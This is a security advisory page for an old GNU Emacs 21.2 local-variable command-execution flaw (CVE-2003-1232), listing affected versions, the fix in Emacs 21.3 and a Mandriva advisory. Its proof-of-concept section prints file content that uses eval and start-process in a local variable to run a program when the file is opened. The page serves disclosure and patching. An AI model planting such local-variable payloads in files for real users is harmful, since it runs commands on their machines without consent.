Emacs Local Variable Arbitrary Command Execution Vulnerability

BID:15375

Info

Emacs Local Variable Arbitrary Command Execution Vulnerability

Bugtraq ID: 15375
Class: Input Validation Error
CVE: CVE-2003-1232
Remote: Yes
Local: No
Published: Dec 31 2002 12:00AM
Updated: Jul 12 2009 05:56PM
Credit: Georgi Guninski disclosed this issue.
Vulnerable: MandrakeSoft Corporate Server 2.1 x86_64
MandrakeSoft Corporate Server 2.1
GNU Emacs 21.2
Not Vulnerable: GNU Emacs 21.3
+ Ubuntu Ubuntu Linux 4.1 ppc
+ Ubuntu Ubuntu Linux 4.1 ia64
+ Ubuntu Ubuntu Linux 4.1 ia32

Discussion

Emacs Local Variable Arbitrary Command Execution Vulnerability

Emacs is susceptible to an arbitrary command execution vulnerability with local variables. This issue is due to insufficient sanitization of user-supplied input.

By modifying a text file to include local variables containing containing shell commands in an 'eval' statement, attackers may cause arbitrary commands to be executed.

This vulnerability allows an attacker to execute arbitrary commands with the privileges of the emacs user. This gives an attacker the ability to gain remote access to computers running the vulnerable software.

Exploit / POC

Emacs Local Variable Arbitrary Command Execution Vulnerability

An exploit is not required. Example content sufficient to execute an external process upon opening a file is provided by Georgi Guninski:

/* -*- Mode: text; tab-width:20; Eval: Mode -*- -*- forms -*- */

Emacs better than windoze.

;;; Local Variables: ***
;;; mode: text ***
;;; mode-name: #("Microsoft sux" 0 4 (display (when (eval (start-process "/usr/bin/yes" "/usr/bin/yes" "/usr/bin/yes" "msux") ) . xxx) ) ) ***
;;; comment-start: ";;; " ***
;;; comment-end:"***" ***
;;; End: ***

Solution / Fix

Emacs Local Variable Arbitrary Command Execution Vulnerability

Solution:
The vendor has released version 21.3 of emacs to address this issue.

Mandriva has released advisory MDKSA-2005:208, along with fixes to address this issue. Please see the referenced advisory for further information.


GNU Emacs 21.2

References

Emacs Local Variable Arbitrary Command Execution Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report